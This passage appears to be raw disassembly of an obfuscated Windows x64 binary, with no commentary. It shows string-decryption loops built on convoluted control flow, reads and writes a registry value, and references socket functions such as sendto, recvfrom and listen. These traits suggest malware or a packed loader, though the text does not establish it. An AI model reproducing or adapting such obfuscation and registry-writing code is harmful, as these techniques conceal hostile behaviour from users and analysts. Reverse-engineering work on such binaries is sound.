sub cl, al
mov rax, 0xffffffffffffffff
sub rax, r8
add cl, cl
add cl, dl
add cl, dil
mov byte [rsp + rsi + 0x40], cl
add rsi, rax
movzx eax, byte [rsp + rsi + 0x40]
add rax, r9
add rsi, rax
inc rsi
jmp 0x1400d4ae2
add r11b, 0x13
movzx eax, r11b
and al, dil
add al, al
sub r11b, al
lea r10d, [rdi + r11]
add r10b, 0x7b
movzx eax, byte [rsp + rsi + 0x40]
add rax, r9
add rsi, rax
inc rsi
jmp 0x1400d4ae2
sub r11b, 0xb
movzx eax, r11b
and al, dil
add al, al
sub r11b, al
lea r10d, [rdi + r11]
add r10b, 0x4d
jmp 0x1400d4ae0
sub r11b, 0x6d
movzx eax, r11b
and al, dil
add al, al
sub r11b, al
lea r10d, [rdi + r11]
sub r10b, 5
jmp 0x1400d4ad0
lea r8, [rbp + 0x153422c]
jmp 0x1400d5541
lea r8, [rbp + 0xa4dbdd]
jmp 0x1400d5541
lea r8, [rsp + 0x40]
mov rcx, qword [rbp + 0xc0]
lea rax, [rbp + 0xb8]
mov qword [rsp + 0x30], rax
xor edx, edx
lea rax, [rbp + 0xb0]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
lea r9d, [rdx + 0x10]
call qword [sym.imp.ADVAPI32.dll_RegGetValueA]
test eax, eax
jne 0x1400d73b0
cmp dword [rbp + 0xb0], 1
jne 0x1400d73b0
mov dword [rbp + 0xb0], eax
xor eax, eax
movzx edx, byte [rbp + 0xb0]
mov qword [rsp + 0x180], r12
mov qword [rsp + 0x178], r14
mov qword [rbp - 0x10], rax
mov word [rbp - 8], ax
mov qword [rsp + 0x170], r15
mov dword [rbp - 0x30], 0xf1f0fedc
mov dword [rbp - 0x2c], 0xc1cfffc9
mov dword [rbp - 0x28], 0xf5a0c6fa
mov dword [rbp - 0x24], 0xc9c3f3fd
mov dword [rbp - 0x20], 0xfec5c198
mov dword [rbp - 0x1c], 0xc2c7c5c7
mov dword [rbp - 0x18], 0xf4ce96c2
mov dword [rbp - 0x14], 0x47f3cdf4
nop dword [rax]
nop word [rax + rax]
mov r10, qword [0x1402ea380]
mov r11, qword [0x1402ea378]
nop
xor ebx, ebx
cmp rbx, 0x2a
jae 0x1400d5c27
movzx r8d, byte [rbp + rbx - 0x30]
cmp r10, rbx
ja 0x1400d5c1e
lea rsi, [r11 + 1]
cmp r10, rsi
jae 0x1400d564d
lea edx, [rbx - 0x6f]
movzx eax, dl
lea rdi, [r11 + 2]
and al, r8b
add al, al
sub dl, al
add dl, 9
add dl, r8b
jmp 0x1400d567a
je 0x1400d5bd2
lea rdi, [r11 + 2]
lea rax, [rdi + 1]
cmp r10, rax
je 0x1400d5b53
cmp r10, rdi
je 0x1400d5b33
lea rax, [r11 + 9]
cmp r10, rax
je 0x1400d5aee
movzx r9d, bl
nop
cmp r11, rbx
ja 0x1400d5c15
lea r15, [r11 + 0x200]
cmp r10, r15
jae 0x1400d56af
lea edx, [r9 - 0x1b]
movzx eax, dl
lea r14, [rdi + 1]
and al, r8b
add al, al
sub dl, al
sub dl, 0x43
add dl, r8b
jmp 0x1400d56e0
cmp r10, rsi
je 0x1400d5adf
lea r14, [rdi + 1]
cmp r10, r14
je 0x1400d5abd
cmp r10, rdi
je 0x1400d5aa1
lea rax, [r11 + 9]
cmp r10, rax
je 0x1400d5a77
nop dword [rax + rax]
lea r12, [r11 + r10]
cmp r12, rbx
jbe 0x1400d5787
nop dword [rax]
lea rax, [r11 + 0x200]
cmp r10, rax
je 0x1400d5775
lea rax, [r11 + 9]
cmp r10, rax
je 0x1400d5755
lea r10, [rax + 0x12]
cmp rax, r10
jb 0x1400d5bf9
lea r11, [r10 + 9]
lea rax, [r11 + 9]
cmp r10, rax
ja 0x1400d5728
mov r10, rax
lea r11, [rax + 9]
jmp 0x1400d56f0
add r9b, 0x18
movzx eax, r8b
and al, r9b
mov edx, Ordinal_45
sub dl, al
movzx eax, byte [rbp + rbx - 0x30]
add dl, dl
add rax, r11
add dl, r8b
add rbx, rax
add dl, r9b
inc rbx
jmp 0x1400d5612
add r9b, 0x3c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
movzx eax, r8b
and al, r9b
sub cl, al
lea edx, [rcx + rcx]
add dl, r8b
add dl, r9b
jmp 0x1400d5b95
lea edx, [r9 + 0x4e]
movzx eax, r8b
and al, dl
sub dl, 0x22
jmp 0x1400d5aff
cmp r10, r15
jae 0x1400d582c
lea ecx, [r9 - 0x6f]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea edx, [r8 + rcx]
add dl, 9
cmp r12, 0x200
je 0x1400d5a61
cmp r10, r15
jbe 0x1400d58cf
lea edx, [r9 - 0x73]
movzx eax, r8b
and al, dl
movzx ecx, r8b
add al, al
add dl, 0x25
sub cl, al
add dl, cl
cmp r10, 0x200
jae 0x1400d5a10
cmp r10, r15
jbe 0x1400d5965
lea edx, [r9 + 0x72]
movzx eax, r8b
and al, dl
movzx ecx, r8b
add al, al
sub dl, 0x1e
sub cl, al
add dl, cl
cmp r11, 0x200
jb 0x1400d5a04
lea edx, [r9 - 0x3a]
mov ecx, ntohl
movzx eax, r8b
and al, dl
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea edx, [rcx + rcx]
jmp 0x1400d5b09
cmp r10, rsi
jne 0x1400d585f
sub r9b, 0x36
movzx eax, r8b
and al, r9b
mov ecx, 0x3d
sub cl, al
movzx eax, byte [rbp + rbx - 0x30]
add rax, r11
add rbx, rax
lea edx, [rcx + rcx]
add dl, r8b
add dl, r9b
inc rbx
jmp 0x1400d5612
cmp r10, r14
jne 0x1400d5880
lea edx, [r9 + 0xe]
movzx eax, r8b
and al, dl
movzx ecx, r8b
add al, al
sub dl, 0x62
sub cl, al
add dl, cl
jmp 0x1400d5b6c
cmp r10, rdi
jne 0x1400d58a7
sub r9b, 0x6a
movzx eax, r8b
and al, r9b
dec rbx
add al, al
sub r8b, al
lea edx, [r9 + r8]
sub dl, 0x1a
inc rbx
jmp 0x1400d5612
lea rax, [r11 + 9]
cmp r10, rax
jne 0x1400d57a5
lea edx, [r9 - 0x26]
movzx eax, r8b
and al, dl
mov ecx, 5
sub cl, al
add cl, cl
add cl, r8b
jmp 0x1400d5b07
cmp r10, rsi
jne 0x1400d58e6
lea edx, [r9 - 0x51]
movzx eax, r8b
and al, dl
add dl, 0x37
jmp 0x1400d5aff
cmp r10, r14
jne 0x1400d590d
sub r9b, 0xd
movzx eax, r8b
and al, r9b
dec rbx
add al, al
sub r8b, al
lea edx, [r9 + r8]
add dl, 0x5b
inc rbx
jmp 0x1400d5612
cmp r10, rdi
jne 0x1400d592e
lea edx, [r9 + 0x7b]
movzx eax, r8b
and al, dl
movzx ecx, r8b
add al, al
sub dl, 0x5d
sub cl, al
add dl, cl
jmp 0x1400d5b6c
lea rax, [r11 + 9]
cmp r10, rax
jne 0x1400d57d2
sub r9b, 0x41
movzx eax, r8b
and al, r9b
add al, al
sub r8b, al
movzx eax, byte [rbp + rbx - 0x30]
add rax, r11
add rbx, rax
lea edx, [r9 + r8]
sub dl, 0x39
inc rbx
jmp 0x1400d5612
cmp r10, rsi
jne 0x1400d5994
sub r9b, 0x6c
movzx eax, r8b
and al, r9b
add al, al
sub r8b, al
movzx eax, byte [rbp + rbx - 0x30]
add rax, r11
add rbx, rax
lea edx, [r9 + r8]
sub dl, 0xc
inc rbx
jmp 0x1400d5612
cmp r10, r14
jne 0x1400d59b6
lea edx, [r9 - 0x28]
movzx eax, r8b
and al, dl
mov ecx, ntohl
sub cl, al
add cl, cl
add cl, r8b
add dl, cl
jmp 0x1400d5b6c
lea rax, [rsi + 1]
cmp r10, rax
jne 0x1400d59e5
add r9b, 0x60
mov ecx, Ordinal_50
movzx eax, r8b
dec rbx
and al, r9b
sub cl, al
lea edx, [rcx + rcx]
add dl, r8b
add dl, r9b
inc rbx
jmp 0x1400d5612
lea rax, [r11 + 9]
cmp r10, rax
jne 0x1400d57ff
lea edx, [r9 - 0x5c]
movzx eax, r8b
and al, dl
sub dl, 0x7c
jmp 0x1400d5aff
mov byte [rbp + rbx - 0x30], dl
inc rbx
jmp 0x1400d5612
lea edx, [r9 - 0x18]
movzx eax, r8b
and al, dl
movzx ecx, r8b
sub cl, al
sub dl, 0x58
add cl, cl
add cl, dl
movzx edx, cl
add r9b, 0x79
movzx ecx, dl
movzx eax, r9b
and al, r8b
add al, al
sub cl, al
sub cl, 0x4f
add cl, r9b
add cl, r8b
mov byte [rbp + rbx - 0x30], cl
mov r10, r12
mov rcx, 0xffffffffffffffff
sub rcx, rdx
add rbx, rcx
inc rbx
jmp 0x1400d5612
lea ecx, [r9 + 0xa]
movzx eax, r8b
and al, cl
add al, al
sub cl, al
lea edx, [rcx - 0x46]
jmp 0x1400d5b6c
add r9b, 0x17
movzx eax, r8b
and al, r9b
add al, al
sub r8b, al
movzx eax, byte [rbp + rbx - 0x30]
add rax, r11
add rbx, rax
lea edx, [r9 + r8]
add dl, 0x5f
inc rbx
jmp 0x1400d5612
lea edx, [r9 - 0x2d]
movzx eax, r8b
and al, dl
movzx ecx, r8b
add al, al
add dl, 0x3b
sub cl, al
add dl, cl
jmp 0x1400d5b6c
add r9b, 0x4b
movzx eax, r8b
and al, r9b
dec rbx
add al, al
sub r8b, al
lea edx, [r9 + r8]
sub dl, 0xd
inc rbx
jmp 0x1400d5612
lea edx, [r9 + 7]
movzx eax, r8b
and al, dl
sub dl, 0x31
jmp 0x1400d5aff
movzx r9d, bl
movzx eax, r8b
lea edx, [r9 - 0x3d]
and al, dl
sub dl, 0x55
add al, al
movzx ecx, r8b
sub cl, al
add dl, cl
movzx eax, r8b
add r9b, 0x57
and al, r9b
add al, al
sub r8b, al
sub r8b, 0x61
add r8b, r9b
mov byte [rbp + rbx - 0x30], r8b
inc r11
dec rbx
inc rbx
jmp 0x1400d5612
lea ecx, [rbx + 0x7f]
movzx eax, r8b
and al, cl
add al, al
sub r8b, al
lea edx, [rcx + r8]
sub dl, 0x79
dec rbx
inc rbx
jmp 0x1400d5612
movzx r9d, bl
lea ecx, [r9 - 9]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea edx, [r8 + rcx]
add dl, 0x3f
sub r9b, 0x65
movzx eax, r8b
and al, r9b
movzx ecx, r8b
add al, al
mov r11, rsi
sub cl, al
sub cl, 0x3d
add cl, r9b
movzx eax, cl
mov byte [rbp + rbx - 0x30], al
add rax, rsi
sub rbx, rax
lea ecx, [rbx + 0x2c]
movzx eax, r8b
and al, cl
inc r10
add al, al
sub r8b, al
mov rax, 0xffffffffffffffff
sub rax, r10
sub r8b, 0x34
add r8b, cl
mov byte [rbp + rbx - 0x30], r8b
add rbx, rax
movzx eax, byte [rbp + rbx - 0x30]
add rax, r11
add rbx, rax
inc rbx
jmp 0x1400d5612
lea ecx, [rbx - 0x4d]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea edx, [r8 + rcx]
add dl, 0x1b
movzx eax, byte [rbp + rbx - 0x30]
add rax, r11
add rbx, rax
inc rbx
jmp 0x1400d5612
add r9b, 0x33
movzx eax, r8b
and al, r9b
add al, al
sub r8b, al
lea edx, [r9 + r8]
sub dl, 0x65
jmp 0x1400d5600
lea rdx, [rbp + 0x14e993c]
jmp 0x1400d5c2b
lea rdx, [rbp + 0x7443cd]
jmp 0x1400d5c2b
lea rdx, [rbp - 0x30]
mov rcx, qword [rbp + 0xc0]
lea rax, [rbp + 0xb0]
mov dword [rsp + 0x28], 4
mov r9d, 4
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov r15, qword [rsp + 0x170]
mov r14, qword [rsp + 0x178]
mov r12, qword [rsp + 0x180]
test eax, eax
jne 0x1400d73b0
movzx edx, byte [rbp + 0xb0]
xorps xmm0, xmm0
xor eax, eax
mov dword [rsp + 0x70], 0x63cfb0ad
movups xmmword [rbp - 0x42], xmm0
mov byte [rbp - 0x32], al
mov dword [rsp + 0x74], 0xa3a3a2b4
mov dword [rsp + 0x78], 0x7ba9d57e
mov dword [rsp + 0x7c], 0xdbd9aaa8
mov dword [rbp - 0x80], 0x73dca3b5
mov dword [rbp - 0x7c], 0x9de39cd9
mov dword [rbp - 0x78], 0x4bb5b94e
mov dword [rbp - 0x74], 0x47969494
mov dword [rbp - 0x70], 0xecea9eb0
mov dword [rbp - 0x6c], 0x8ef05d90
mov dword [rbp - 0x68], 0x8989f05e
mov dword [rbp - 0x64], 0xa754438f
mov dword [rbp - 0x60], 0xfefd8e84
mov dword [rbp - 0x5c], 0x83fad252
mov dword [rbp - 0x58], 0x8728fbf1
mov dword [rbp - 0x54], 0xf8f625fb
mov dword [rbp - 0x50], 0xf1e38d8b
mov dword [rbp - 0x4c], 0xe7903d8e
mov dword [rbp - 0x48], 0xc6c839e1
mov word [rbp - 0x44], 0x152c
nop word [rax + rax]
mov r8, qword [0x1402ea380]
mov r9, qword [0x1402ea378]
nop
xor ebx, ebx
cmp rbx, 0x5f
jae 0x1400d687d
movzx r11d, byte [rsp + rbx + 0x70]
movzx r10d, bl
cmp r8, rbx
ja 0x1400d6874
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x1400d5d6e
lea edx, [r10 - 0x75]
movzx eax, dl
and al, r11b
add al, al
sub dl, al
add dl, 0x33
add dl, r11b
jmp 0x1400d5db0
je 0x1400d6809
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d678f
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400d675d
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400d6727
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400d66e8
nop dword [rax + rax]
cmp r9, rbx
ja 0x1400d686b
lea rax, [r9 + 0x5a]
cmp r8, rax
jae 0x1400d5dd8
lea edx, [r10 + 0x67]
movzx eax, dl
and al, r11b
add al, al
sub dl, al
add dl, 0x2f
add dl, r11b
jmp 0x1400d5e20
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400d66d1
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400d66af
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400d6693
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400d6679
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d665d
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400d6365
nop dword [rax]
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400d634b
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400d6322
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400d6300
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400d62e3
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400d62c7
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400d62ab
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400d628e
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400d6272
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400d6244
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400d5e30
lea r8, [r9 + 5]
lea r9, [r8 + 8]
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x1400d684f
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400d6833
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1400d6016
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1400d5ffd
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400d5fe4
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400d61fb
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x1400d61b2
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400d617a
lea rax, [r9 + 1]
cmp r8, rax
jb 0x1400d6157
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400d5e30
lea r8, [r9 + 0x42]
lea r9, [r8 + 8]
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400d6129
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400d610d
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1400d60f0
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x1400d60d0
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400d60b4
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400d6097
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400d6075
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400d604c
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400d602f
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400d5e30
lea r8, [r9 + 0x42]
lea r9, [r8 + 8]
jmp 0x1400d5e30
lea edx, [r10 + 0x79]
movzx eax, dl
and al, r11b
add al, al
sub dl, al
sub dl, 0x4f
add dl, r11b
jmp 0x1400d5e20
lea edx, [r10 + 0x63]
movzx eax, dl
and al, r11b
add al, al
sub dl, al
add dl, 0x4b
add dl, r11b
jmp 0x1400d5db0
lea edx, [r10 + 0x4d]
movzx eax, dl
and al, r11b
add al, al
sub dl, al
sub dl, 0x1b
add dl, r11b
jmp 0x1400d5d46
lea ecx, [r10 + 0x38]
movzx eax, r11b
and al, cl
mov edx, reloc.WLDAP32.dll_Ordinal_60
sub dl, al
add dl, dl
add dl, r11b
add dl, cl
jmp 0x1400d66fd
add r10b, 0x22
mov ecx, 9
movzx eax, r11b
inc r9
and al, r10b
dec rbx
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
inc rbx
jmp 0x1400d5d32
add r10b, 0xc
movzx eax, r11b
and al, r10b
dec rbx
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x54
inc rbx
jmp 0x1400d5d32
lea edx, [r10 - 0xa]
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
jmp 0x1400d673c
sub r10b, 0x20
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x20
jmp 0x1400d6774
sub r10b, 0x36
mov ecx, 0x3d
movzx eax, r11b
and al, r10b
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
jmp 0x1400d6777
lea edx, [r10 - 0x4c]
mov ecx, 0xa
movzx eax, dl
and al, r11b
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400d67a4
sub r10b, 0x62
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x52
jmp 0x1400d67cc
sub r10b, 0x78
mov ecx, 0x24
movzx eax, r10b
and al, r11b
sub cl, al
movzx eax, byte [rsp + rbx + 0x70]
add rax, r9
add rbx, rax
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
inc rbx
jmp 0x1400d5d32
sub r10b, 0x2f
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x49
mov byte [rsp + rbx + 0x70], dl
inc rbx
jmp 0x1400d5d32
lea ecx, [r10 - 0x45]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x1d
cmp r9, 4
jb 0x1400d616e
lea ecx, [r10 + 0x62]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea edx, [rcx*2 - 0x5c]
jmp 0x1400d66fd
lea ecx, [r10 - 0x5b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x7d
cmp r8, 0x1000
jae 0x1400d6627
lea rax, [r9 + 0x7a]
cmp r8, rax
jbe 0x1400d6559
lea edx, [r10 - 0x7a]
mov ecx, Ordinal_45
movzx eax, dl
and al, r11b
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400d618f
lea ecx, [r10 - 0x71]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x17
lea rax, [r9 + r8]
cmp rax, 0x1000
je 0x1400d6643
lea rax, [r9 + 0x40]
cmp r8, rax
jbe 0x1400d6482
lea ecx, [r10 + 0x1f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x27
jmp 0x1400d61c7
add r10b, 0x6a
mov ecx, reloc.WS2_32.dll_listen
movzx eax, r10b
and al, r11b
sub cl, al
movzx eax, byte [rsp + rbx + 0x70]
add rax, r9
add rbx, rax
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
inc rbx
jmp 0x1400d5d32
add r10b, 0x54
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x4c
jmp 0x1400d67cc
lea edx, [r10 + 0x3e]
mov ecx, Ordinal_41
movzx eax, dl
and al, r11b
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400d67a4
add r10b, 0x28
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x18
jmp 0x1400d6777
add r10b, 0x12
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x7e
jmp 0x1400d6774
lea edx, [r10 - 4]
mov ecx, reloc.WS2_32.dll_ntohl
movzx eax, dl
and al, r11b
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400d673c
sub r10b, 0x1a
dec rbx
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x4a
inc rbx
jmp 0x1400d5d32
sub r10b, 0x30
mov ecx, Ordinal_41
movzx eax, r10b
inc r9
and al, r11b
dec rbx
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
inc rbx
jmp 0x1400d5d32
lea ecx, [r10 - 0x46]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x16
jmp 0x1400d66fd
lea rcx, [r9 + 6]
cmp r8, rcx
jae 0x1400d6388
lea ecx, [r10 - 0x75]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x33
jmp 0x1400d6210
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d63bf
sub r10b, 0x32
mov ecx, Ordinal_50
movzx eax, r10b
and al, r11b
sub cl, al
movzx eax, byte [rsp + rbx + 0x70]
add rax, r9
add rbx, rax
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
inc rbx
jmp 0x1400d5d32
inc rax
cmp r8, rax
jne 0x1400d63e3
sub r10b, 0x1c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x3c
jmp 0x1400d67cc
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d6408
add r10b, 0x10
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x70
jmp 0x1400d6777
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d642d
add r10b, 0x26
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0xa
jmp 0x1400d6774
cmp r8, rcx
jne 0x1400d645b
add r10b, 0x68
mov ecx, reloc.WS2_32.dll_sendto
movzx eax, r10b
inc r9
and al, r11b
dec rbx
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
inc rbx
jmp 0x1400d5d32
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400d6210
lea ecx, [r10 + 0x7e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x72
jmp 0x1400d66fd
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d64a5
lea ecx, [r10 + 0x35]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x73
jmp 0x1400d66fd
inc rax
cmp r8, rax
jne 0x1400d64d2
add r10b, 0x4b
inc r9
movzx eax, r10b
dec rbx
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0xd
inc rbx
jmp 0x1400d5d32
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d64fd
add r10b, 0x61
dec rbx
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x59
inc rbx
jmp 0x1400d5d32
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d6522
sub r10b, 0x73
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x25
jmp 0x1400d6774
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400d61c7
sub r10b, 0x1b
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
movzx eax, byte [rsp + rbx + 0x70]
add rax, r9
add rbx, rax
lea edx, [r11 + r10]
sub dl, 0x43
inc rbx
jmp 0x1400d5d32
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d658c
sub r10b, 0x64
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
movzx eax, byte [rsp + rbx + 0x70]
add rax, r9
add rbx, rax
lea edx, [r11 + r10]
sub dl, 0x44
inc rbx
jmp 0x1400d5d32
inc rax
cmp r8, rax
jne 0x1400d65b4
sub r10b, 0x4e
mov ecx, reloc.WS2_32.dll_recvfrom
movzx eax, r10b
and al, r11b
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400d67cc
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d65d7
lea ecx, [r10 - 0x38]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x78
jmp 0x1400d67a4
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d6600
sub r10b, 0xc
mov ecx, Ordinal_45
movzx eax, r10b
and al, r11b
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400d6774
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400d618f
lea ecx, [r10 + 0x4c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x14
jmp 0x1400d66fd
lea edx, [r10 + 0x78]
movzx ecx, r11b
movzx eax, dl
sub dl, 0x48
and al, r11b
sub cl, al
add cl, cl
add dl, cl
jmp 0x1400d673c
lea edx, [r10 - 0x72]
mov ecx, reloc.WS2_32.dll_ntohs
movzx eax, dl
and al, r11b
sub cl, al
add cl, cl
add dl, cl
jmp 0x1400d67a4
add r10b, 0x17
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x5f
jmp 0x1400d67cc
lea ecx, [r10 + 1]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 7
jmp 0x1400d67a4
sub r10b, 0x15
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x6d
jmp 0x1400d6777
sub r10b, 0x57
dec rbx
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x61
inc rbx
jmp 0x1400d5d32
lea ecx, [r10 + 0x7d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x6b
jmp 0x1400d66fd
lea ecx, [r10 + 0x51]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x37
movzx eax, r11b
sub r10b, 0x13
and al, r10b
add al, al
sub r11b, al
sub r11b, 0x7b
add r11b, r10b
mov byte [rsp + rbx + 0x70], r11b
inc r9
dec rbx
inc rbx
jmp 0x1400d5d32
lea ecx, [r10 + 0xf]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x69
add r10b, 3
movzx eax, r11b
and al, r10b
movzx ecx, dl
add al, al
sub cl, al
sub cl, 0x15
add cl, r11b
add cl, r10b
mov byte [rsp + rbx + 0x70], cl
jmp 0x1400d6774
sub r10b, 7
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x31
add r8, r9
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400d5d32
lea ecx, [r10 - 0x33]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x65
add r10b, 0x19
inc r9
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
add r10b, 0x51
add r10b, r11b
movzx eax, r10b
mov byte [rsp + rbx + 0x70], al
add rax, r9
sub rbx, rax
lea ecx, [rbx - 0x5c]
movzx eax, r11b
and al, cl
inc r8
add al, al
sub r11b, al
mov rax, 0xffffffffffffffff
sub rax, r8
sub r11b, 0x7c
add r11b, cl
mov byte [rsp + rbx + 0x70], r11b
add rbx, rax
movzx eax, byte [rsp + rbx + 0x70]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400d5d32
sub r10b, 0x5f
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x67
movzx eax, byte [rsp + rbx + 0x70]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400d5d32
add r10b, 0x37
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
add dl, 0x7f
jmp 0x1400d5d30
add r10b, 0x21
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
add dl, 0x19
jmp 0x1400d5d20
lea rcx, [rbp + 0x1516cd4]
